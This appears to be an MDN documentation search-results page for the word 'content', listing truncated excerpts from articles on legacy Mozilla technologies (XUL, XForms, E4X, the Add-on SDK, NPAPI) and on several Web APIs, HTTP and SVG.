content/blogmark/about.xul" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> </replacetokens> </filterchain> </copy> <copy file="install.rdf.tpl.xml" tofile="install.rdf" overwrite="true"> <filterchain> <replacetokens> ...
xbDesignMode.js - Archive of obsolete content
/* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the
contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
...typeof(aiframe) == "string") && (document.getelementbyid(aiframe).tagname.tolowercase()=="iframe") ){ this.miframeelement = document.getelementbyid(aiframe); } else if( (typeof(aiframe)=="object") && (aiframe.tagname.tolowercase() == "iframe") ){ this.miframeelement = aiframe; } else { throw "argument isn't an id of an iframe or an iframe reference"; } if (this.miframeelement.
contentdocument){ // gecko this.meditordocument = this.miframeelement.
contentdocument; this.meditordocument.designmode = "on"; } else { // ie this.meditordocument = this.miframeelement.
contentwindow.document; this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set this.meditordocument = this.miframeelement.
contentwindow.
NPAPI plugin developer guide - Archive of obsolete content
plugins are shared libraries that users can install to display
content that the application itself can't display natively.
... for example, the adobe flash plug-in is used to access flash
content (including videos and certain interactive applications), and the quicktime and realplayer plugins are used to play special format videos in a web page.
NPN_InvalidateRect - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary invalidates the specified portion of the plugin's drawing area, adding it to the region that needs to be redrawn when the plugin next repaints its
contents.
... invalidrect the area to invalidate, specified in a coordinate system that originates at the top left of the plug-in's
content area.
NPP_New - Archive of obsolete content
values: np_embed: (1) instance was created by an embed tag and shares the browser window with other
content.
... np_full: (2) instance was created by a separate file and is the primary
content in the window.
Adobe Flash - Archive of obsolete content
performance and flash as is the case with any plug-in
content, flash
content has the potential to slow down or even completely stall not just the tab it's running in, but the entire browser and even the entire computer it's being used on.
... avoiding poorly-written or unnecessary flash
content is crucial to ensuring the user has a positive experience on not just your site, but the entire web.
What is RSS - Archive of obsolete content
syndication is the process of telling others that you have
content for them to consume.
... note: if you provide a non-password-protected rss feed, you are implicitly giving everyone permission to use the
contents in you rss feed in almost any way they see fit.
Vulnerabilities - Archive of obsolete content
for example, email client software may contain a feature that renders html
content in email messages.
...one of the trust assumptions in the design of the html
content rendering feature was that users would not receive malicious hyperlinks and click on them.
Theme changes in Firefox 4 - Archive of obsolete content
then copy all of icon.png, install.rdf and preview.png from <firefox-app-bundle>/
contents/macos/extensions/{...} into my_theme.
... finally, you need to create a chrome.manifest file with the
contents: skin browser classic/1.0 chrome/browser/ skin communicator classic/1.0 chrome/communicator/ skin global classic/1.0 chrome/global/ skin mozapps classic/1.0 chrome/mozapps/ this results in the following structure : /my_theme/chrome/browser/* /my_theme/chrome/communicator/* /my_theme/chrome/global/* /my_theme/chrome/mozapps/* /my_theme/chrome.manifest /my_theme/icon.png /my_theme/install.rdf /my_theme/preview.png note: for more information (and how to package into a jar) consult creating a skin for firefox which still mostly applies.
Scratchpad - Archive of obsolete content
this is what you'd use to execute a function or other code that manipulates the
content of your page without needing to see the result.
...once you've done this, the environment menu has a browser option; once that's selected, your scope is the entire browser rather than just the page
content, as you will see from examining some globals: window /* [object chromewindow] */ gbrowser /* [object xulelement] */ the scratchpad execution context is set to browser when a snippet file has // -sp-context: browser on the first line.
Summary of Changes - Archive of obsolete content
forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core text
content attribute here which is supported by mozilla 1.5+ and is a perfect equivalent to innertext.
... http://www.w3.org/tr/2004/rec-dom-le...e3-text
content ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
Browser Feature Detection - Archive of obsolete content
color true true true bordertopstyle true true true borderrightstyle true true true borderbottomstyle true true true borderleftstyle true true true bottom true true true captionside true false true clear true true true clip true true true
content true false true counterincrement true false true counterreset true false true cue true false false cueafter true false false cuebefore true false false cursor true true true direction true true true elevation true false false emptycells ...
...tcolor', 'supported': false}, {name: 'bordertopstyle', 'supported': false}, {name: 'borderrightstyle', 'supported': false}, {name: 'borderbottomstyle', 'supported': false}, {name: 'borderleftstyle', 'supported': false}, {name: 'bottom', 'supported': false}, {name: 'captionside', 'supported': false}, {name: 'clear', 'supported': false}, {name: 'clip', 'supported': false}, {name: '
content', 'supported': false}, {name: 'counterincrement', 'supported': false}, {name: 'counterreset', 'supported': false}, {name: 'cue', 'supported': false}, {name: 'cueafter', 'supported': false}, {name: 'cuebefore', 'supported': false}, {name: 'cursor', 'supported': false}, {name: 'direction', 'supported': false}, {name: 'elevation', 'supported': false}, {name: 'emptycells', 'supporte...
:-moz-system-metric(touch-enabled) - Archive of obsolete content
the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the
content is being rendered offers a supported touch-screen interface.
... note: since firefox 58, this pseudo-class is no longer available to web
content — it is only available internally (e.g.
:-moz-system-metric() - Archive of obsolete content
note: since firefox 58, this pseudo-class is no longer available to web
content — it is only available internally (e.g.
...ic(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.:-moz-system-metric(touch-enabled)the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the
content is being rendered offers a supported touch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
display-outside - Archive of obsolete content
/* keyword values */ display-outside: block-level; display-outside: inline-level; display-outside: run-in; display-outside:
contents; display-outside: none; display-outside: table-row-group; display-outside: table-header-group; display-outside: table-footer-group; display-outside: table-row; display-outside: table-cell; display-outside: table-column-group; display-outside: table-column; display-outside: table-caption; display-outside: ruby-base; display-outside: ruby-text; display-outside: ruby-base-container; display-outside: ruby-text-container; /* global values */ display-outside: inherit; display-outside: in...
...
contents the element lays out its
contents using flex layout.
Accessing XML children - Archive of obsolete content
it will be disabled by default for
content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18.
...operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; elem1.bar = elem2; replaces the <bar/> element with all of the
content in elem2, giving: <foo> <red> <blue/> </red> <foo> xml lists many times, however, a single element will have two or more children of the same type.
Introduction - Archive of obsolete content
use of inline functions in
content although the brackets are restricted to single statements for evaluation, one might provide an anonymous function to perform some extra processing inline: var a = 'foo'; var b = <bar>{function () {var c = a.touppercase(); var d = 5 * 5; return c + d;}()}</bar>; where the above produces: <bar>foo25</bar>.
...ols of e4x is its ability to serialize an entire xml document (or portion thereof) into a string with one simple call to .toxmlstring() var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); element1.toxmlstring(); this will print <foo> <bar/> </foo> calling tostring() will achieve the same effect in this case, though calling tostring() on an element with only text
content will product the text
content (e.g., <foo>abc</foo>.tostring(); will simply provide 'abc').
Standards-Compliant Authoring Tools - Archive of obsolete content
creating cross-browser code upfront will save you lots of time quality testing your web
content.
...newer versions of microsoft frontpage™ have improved, however be sure not to rely on frontpage-specific extensions for critical website
content or functionality.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
so i decided to break up the
content so that there is a self-contained bit of markup for each fish, and then get down to styling.
...since i wanted them to be side by side, it was important to be sure the total width of the element boxes (including margins) was less than 50%, so the first step was this: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} by making the
content of each card 45% the width of the containing element, and adding 2% margin to both the left and right sides, each card's element box is 49% as wide as the parent.
RFE to the Custom Controls Interfaces - Archive of obsolete content
o as well as getting the various states of that node nsixformsdelegate - used to obtain the nsixformsaccessors interface nsixformsuiwidget - used by the xforms processor to update the value/state of an xforms element when its bound node's value/state is changed our current mechanism that allows authors to build custom controls assumes that the controls will be bound to instance nodes of simple
content type.
...if you need to have a custom control that works with complext
content or you find our interfaces too limiting to create the type of control that you have in mind, then this is the right place to pass along your requirements and any usecase that you are trying to solve.
XForms Alert Element - Archive of obsolete content
attributes single-node binding linking src - url of a document whose
contents will be retrieved by the alert element and used to provide the alert message for the containing form control.
... type restrictions the alert element can be bound to any simple
content.
XForms Help Element - Archive of obsolete content
attributes single-node binding linking src - url of a document whose
contents will be retrieved by the help element and used to provide a help message for the containing form control.
... type restrictions the help element can be bound to any simple
content.
XForms Hint Element - Archive of obsolete content
attributes single-node binding linking src - url of a document whose
contents will be retrieved by the hint element and used to provide hint text for the containing form control.
... type restrictions the hint element can be bound to any simple
content.
XForms Message Element - Archive of obsolete content
attributes single-node binding linking src - url of a document whose
contents will be retrieved by the message element and used to provide the message text for the message element.
... special level - defines a representation of message element type restrictions the message element can be bound to any simple
content.
XForms Select Element - Archive of obsolete content
incremental - supported, default value is true properties selection - see corresponding attribute incremental - see corresponding attribute type restrictions the select element can be bound to a node containing simple
content capable of holding a sequence.
... the data binding restriction to simple
content may be relaxed when an itemset element is used, which allows the available choices to be obtained from an xforms model.
XForms Select1 Element - Archive of obsolete content
incremental - supported, default value is true properties selection - see corresponding attribute incremental - see corresponding attribute type restrictions the select1 element can be bound to a node containing simple
content.
... the data binding restriction to simple
content may be relaxed when an itemset element is used, which allows the available choices to be obtained from an xforms model.
RDF in Fifty Words or Less - Archive of obsolete content
and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their
contents by running common search that you define.
...fundamentally, it means that parts of the rdf data model can be communicated across network boundaries, and the
contents of the graph can dynamically change as information arrives from a remote service.
JSSecurityCallbacks.contentSecurityPolicyAllows
the jssecuritycallbacks.
contentsecuritypolicyallows callback is called when a script attempts to access an object property.
...jssecuritycallbacks.
contentsecuritypolicyallows is invoked once per global object upon the first attempt to evaluate js code from a string (either through eval or the function constructor).
nsIContentPref
nsi
contentpref dom/interfaces/base/nsi
contentprefservice2.idlscriptable a
content preference 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) attributes attribute type description domain astring read only.
... see also nsi
contentprefservice2 nsi
contentprefcallback2 ...
HTMLContentElement.getDistributedNodes() - Web APIs
the html
contentelement.getdistributednodes() method returns a static nodelist of the distributed nodes associated with this <
content> element.
... syntax var nodelist = object.getdistributednodes() example // get the distributed nodes var nodes = my
contentobject.getdistributednodes(); specifications this feature is no longer defined by any specifications.
contentDocument - Web APIs
example of
contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].
contentdocument; iframedocument.body.style.backgroundcolor = "blue"; // this would turn the iframe blue.
... specifications specification status comment html living standardthe definition of 'htmliframeelement:
contentdocument' in that specification.
HTMLTemplateElement.content - Web APIs
the htmltemplateelement.
content property returns a <template> element's template
contents (a documentfragment).
... syntax var documentfragment = templateelement.
content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.
content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
the legacy performancetiming.dom
contentloadedeventend read-only property returns an unsigned long long representing the moment, in milliseconds since the unix epoch, right after all the scripts that need to be executed as soon as possible, in order or not, has been executed.
... syntax time = performancetiming.dom
contentloadedeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.dom
contentloadedeventend' in that specification.
PerformanceTiming.domContentLoadedEventStart - Web APIs
the legacy performancetiming.dom
contentloadedeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, right before the parser sent the dom
contentloaded event, that is right after all the scripts that need to be executed right after parsing has been executed.
... syntax time = performancetiming.dom
contentloadedeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.dom
contentloadedeventstart' in that specification.
msGetRegionContent - Web APIs
the msgetregion
content returns an array of range instances corresponding to the
content from the region flow that is positioned in the region.
... syntax var retval = element.msgetregion
content(); parameters retval [out, reval] type: msrangecollection the name of the property to enable.
205 Reset Content - HTTP
the http 205 reset
content response status tells the client to reset the document view, so for example to clear the
content of a form, reset a canvas state, or to refresh the ui.
... status 205 reset
content specifications specification title rfc 7231, section 6.3.6: 205 reset
content hypertext transfer protocol (http/1.1): semantics and
content compatibility notes browser behavior differs if this response erroneously includes a body on persistent connections see 204 no
content for more detail.
contentScriptType - SVG: Scalable Vector Graphics
the
contentscripttype attribute specifies the default scripting language for the given document fragment on the <svg> element.
... usage notes value one of the
content types specified in the media types default value application/ecmascript animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '
contentscripttype' in that specification.
Module structure of the SDK - Archive of obsolete content
except for scripts that interact directly with web
content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules which the sdk provides, such as panel and page-mod.
l10n - Archive of obsolete content
note that you can't currently use localize strings appearing in
content scripts or html files, but you can share the localized strings you want by assigning it's values to a json serializable object.
core/namespace - Archive of obsolete content
let sandboxes = ns(); function widget(options) { let { element,
contentscript } = options; let widget = object.create(widget.prototype); view.call(widget, options.element); sandboxes(widget).sandbox = cu.sandbox(element.ownerdocument.defaultview); // ...
ui/button/toggle - Archive of obsolete content
e panel's show() method or the panel's constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var panels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onchange: handlechange }); var panel = panels.panel({
contenturl: self.data.url("panel.html"), onhide: handlehide }); function handlechange(state) { if (state.checked) { panel.show({ position: button }); } } function handlehide() { button.state('window', {checked: false}); } disabling buttons you can disable a button by setting its disabled property to true.
Creating Reusable Modules - Archive of obsolete content
} return path; } hash function firefox has built-in support for hash functions, exposed via the nsicryptohash xpcom interface the documentation page for that interface includes an example of calculating an md5 hash of a file's
contents, given its path.
Developing for Firefox Mobile - Archive of obsolete content
ple-storage supported system supported tabs supported timers supported ui not supported url supported widget not supported windows supported low-level apis /loader supported chrome supported console/plain-text supported console/traceback supported
content/
content supported
content/loader supported
content/mod supported
content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-st...
Alerts and Notifications - Archive of obsolete content
plement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/
content/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.
contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
Downloading Files - Archive of obsolete content
privatebrowsingutils.privacycontextfromwindow(aurlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onprogresschange: function(awebprogress, arequest, acurselfprogress, amaxselfprogress, acurtotalprogress, amaxtotalprogress) { var percentcomplete = math.round((acurtotalprogress / amaxtotalprogress) * 100); progresselement.text
content = percentcomplete +"%"; }, onstatechange: function(awebprogress, arequest, astateflags, astatus) { // do something } } persist.saveuri(obj_uri, null, null, null, "", targetfile, privacy); downloading files that require credentials before calling nsiwebbrowserpersist.saveuri(), you need to set the progresslistener property of the nsiwebbrowserpersist instance to an object that impleme...
JS XPCOM - Archive of obsolete content
components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/xpcomutils.jsm"); const cc = components.classes; const ci = components.interfaces; function abouthandler() {} abouthandler.prototype = { newchannel: function(uri) { var channel = services.io.newchannel("chrome://mystuff/
content/mystuff.xul", null, null); channel.originaluri = uri; return channel; }, geturiflags: function(uri) { // do not return ci.nsiaboutmodule.uri_safe_for_untrusted_
content unless // you make sure to set a non-system principal in newchannel.
LookupNamespaceURI - Archive of obsolete content
ri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.
contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace ...
LookupPrefix - Archive of obsolete content
function lookupprefix (node, namespaceuri) { var htmlmode = document.
contenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use thi...
Preferences - Archive of obsolete content
javascript wrappers for preferences system there are a few javascript wrappers to make your life easier: http://mozilla.doslash.org/prefutils chrome://global/
content/nsusersettings.js https://wiki.mozilla.org/labs/js_modules how to save preferences to save preferences into the default location: var prefservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); prefservice.savepreffile(null); checking for existence of a key if you try to get the value of a nonexis...
Rosetta - Archive of obsolete content
now, all you need is to include rosetta.js and your compiler within your html page and you will be able to execute scripts written in c together with scripts written in ecmascript: example.html: html example <!doctype html> <html> <head> <meta http-equiv="
content-type"
content="text/html; charset=utf-8" /> <title>rosetta c example</title> <script type="text/javascript" src="rosetta.js"></script> <script type="text/javascript" src="rosetta_c.js"></script> <script type="text/x-csrc"> #include <stdio.h> int main () { printf("hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>lorem ipsum...
SVG General - Archive of obsolete content
here are some examples of using it: var circle = makesvg("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makesvg("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svghref: "bubbles.png"}); var text = makesvg("text", {id: "text1", x: "60", y: "60"}); text.text
content = "hello world"; ...
Scrollbar - Archive of obsolete content
example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="
content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
JavaScript timers - Archive of obsolete content
timer.jsm the timer.jsm javascript code module contains pure-javascript implementations of settimeout and cleartimeout that are compatible with the dom window functions, but that can be used by code that does not have access to a dom window (for example, javascript code modules or
content frame scripts).
XPath - Archive of obsolete content
eturn; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj[i].text); } } else { var tobj = obj.evaluate("/root/field/item",obj.documentelement,null, xpathresult.any_type, null); var tmp = tobj.iteratenext(); while(tmp) { fields.push(tmp.text
content); tmp = tobj.iteratenext(); } } alert(fields); } //here is the demo xml file for xpath <?xml version="1.0"?> <root> <field> <item>art_id</item> <item>psection</item> <item>qkind</item> <item>qtitle</item> <item>question</item> <item>pic</item> <item>answer1</item> <item>answer2</item> <item>answer3</item> <item>answer4</item> </field> </root> //add by mooring 2...
Custom about: URLs - Archive of obsolete content
onst aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/
content/index.html'; class aboutpage { static get classid() { return components.id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.freeze(this); ...
Default Preferences - Archive of obsolete content
setting default preferences while most of an extension's directories can be named arbitrarily and mapped using a chrome manifest, default preferences must be in very particular spot: | extension root +--|
content +--|skin +--|defaults +--|preferences to add preferences simply drop a .js file into that directory and mozilla will read it and set the appropriate preferences.
MMgc - Archive of obsolete content
this approach was not chosen for the following reasons: coordinating the marking thread and the main thread will require locking and may suffer due to lock overhead/
contention supporting mac classic's cooperative threads makes this approach harder flash's frame based architecture gives us a very natural place to do this work we have better control over how much time is spent marking without threads when smp systems become more prevalent it may be worth investigating this approach because true parallelism may afford better performance.
No Proxy For configuration - Archive of obsolete content
original document information author(s): benjamin chuang last updated date: november 2, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/
content/xul/
content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/
content/xul/
content/src/nsxulelement.cpp," (with the comma - matches are whole-word only) and value 0x5, the assert would automatically be ignored.
Adding the structure - Archive of obsolete content
<statusbar id="status-bar" class="chromeclass-status" ondragdrop="nsdraganddrop.drop(event,
contentareadndobserver);"> <statusbarpanel id="component-bar"/> <statusbarpanel id="statusbar-display" label="&statustext.label;" flex="1"/> <statusbarpanel class="statusbarpanel-progress"> <progressmeter class="progressmeter-statusbar" id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel class="...
Enabling the behavior - updating the status periodically - Archive of obsolete content
<!-- navigator --> <script type="application/javascript" src="chrome://navigator/
content/browser.js"/> <script type="application/javascript" src="chrome://navigator/
content/navigator.js"/> <script type="application/javascript" src="chrome://navigator/
content/navigatordd.js"/> <script type="application/javascript" src="chrome://navigator/
content/sessionhistoryui.js"/> <script type="application/javascript" src="chrome://navigator/
content/tinderstatus.js"/> <!-...
Finding the code to modify - Archive of obsolete content
inspectorwidget the inspectorwidget extension adds a toolbar button and context menus for invoking the dom inspector (domi) for either chrome or
content elements.thus this makes it possible to save all the above dom inspector user interface diggings.
Getting Started - Archive of obsolete content
classic.jar locations linux: folder_with_seamonkey/chrome/classic.jar windows: folder_with_seamonkey\chrome\classic.jar for mac os x: folder_with_seamonkey/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is recommended -- extract the
contents of that folder, being sure to maintain the directory structure.
In-Depth - Archive of obsolete content
change: -moz-binding: url("chrome://global/
content/bindings/toolbar.xml#toolbar-primary"); to -moz-binding: url("chrome://communicator/skin/toolbar/toolbarbindings.xml#toolbar-primary"); now every toolbar has a spot for an image on the right hand side and we can start adding images, but first we need to make sure we can see the images that we add.
toolbarBindings.xml - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "toolbarbindings.xml": <bindings id="toolbarbindings"> <binding id="toolbar-primary" extends="chrome://global/
content/bindings/toolbar.xml#toolbar-primary"> <
content> <xul:hbox class="toolbar-holder toolbar-primary-holder" flex="1" xbl:inherits="orient=tborient,buttonstyle"> <xul:hbox class="toolbar-button-box" flex="1"> <children/> </xul:hbox> <xul:image class="toolbar-primary-icon" xbl:inherits="buttonstyle"/> </xul:hbox> </
content> </binding> </bindings> ...
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
cher service nsiwindowwatcher windowwatcher = (nsiwindowwatcher)servicemanager.getservicebycontractid("@mozilla.org/embedcomp/window-watcher;1", nsiwindowwatcher.ns_iwindowwatcher_iid); // set the window creator (from step 6) windowwatcher.setwindowcreator(windowcreator); // create the root xul window: nsidomwindow win = windowwatcher.openwindow(null, "chrome://your-app/
content/window.xul", "mywindow", "chrome,resizable,centerscreen", null); // set this as the active window windowwatcher.setactivewindow(win); // hand over the application to xpcom/xul, this will block: appstartup.run(); here is an example of a locationprovider that works : public class locationprovider implements iappfilelocprovider { private final file libxulpath;...
Layout FAQ - Archive of obsolete content
block(body)(1)@035ff490 {120,120,8820,600} [state=00000010] sc=035ff264(i=2,b=0)< line 035ffc18: count=1 state=inline,clean,prevmarginclean,not impacted,not wrapped,before:nobr,after:linebr[0x5100] {0,0,330,300} < inline(span)(0)@035ffa04 next=035ffc48 next-continuation=035ffc48 {0,7,330,285} [
content=0359ed50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [
content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float behavior in firefox involving a two column l...
Gecko Coding Help Wanted - Archive of obsolete content
original document information author(s): fantasai last updated date: may 4, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Help Viewer - Archive of obsolete content
help viewer project page articles & tutorials creating a help
content pack task-oriented, as opposed to spec-type stuff like the link below will be other resources
content pack specification a technical description of it, meant primarily to solidify the idea of exactly what constitutes a
content pack ...
Me - Archive of obsolete content
inside the function, this is the jetpack's
content.function example jetpack.me.onfirstrun(function(){ jetpack.notifications.show("oh boy, i'm installed!");}); ...
Meta - Archive of obsolete content
first run control over the
content and experience of your jetpack's initial use me introspection of your jetpack's dynamic state settings interface for defining and accessing user settings with built-in ui ...
Jetpack Snippets - Archive of obsolete content
slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.
contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
Mozilla Crypto FAQ - Archive of obsolete content
original document information author(s): frank hecker last updated date: september 10, 2000 (version 2.11) copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Build - Archive of obsolete content
the
contents of the file should look something like this : mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/mozilla-obj ac_add_options --enable-application=xulrunner ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests ac_add_options --disable-javaxpcom build xulrunner : make -f client.mk build once the build is done, there will be a d...
Bundles - Archive of obsolete content
the bundle can hold additional resources currently limited to: application ini settings application icon script for the application chrome, not the web
content installing a bundle when prism opens a webapp bundle it will unpack it into the webapps/{webapp-id} folder.
Space Manager High Level Design - Archive of obsolete content
getavailablespace is called on the blockreflowstate the blockreflowstate calls getavailablespace on its blockbanddata instance (which was setup in the blockreflowstate's constructor based on the space manager passed in and computed
content area).
String Quick Reference - Archive of obsolete content
ring/nsxpidlcstring // call getstringvalue(nsastring& out); nsautostring value; // 64-character buffer on stack getstringvalue(value); // call getstringvalue(char** out); nsxpidlcstring result; getstringvalue(getter_copies(result)); // result will free automatically original document information author: alec flett last updated date: april 30, 2003 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Venkman - Archive of obsolete content
related topics javascript, web development, developing mozilla original document information author(s): robert ginda other contributors: doctor unclear last updated date: july 13, 2007 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Urlbar-icons - Archive of obsolete content
(the url bar is also known as the address bar and the navigation bar.) example the default
contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" on...
action - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to specify the
content that should be generated for each matching result from a query.
elements - Archive of obsolete content
a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions
content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcorner ...
listcell - Archive of obsolete content
tips if you need to right-align a cell's
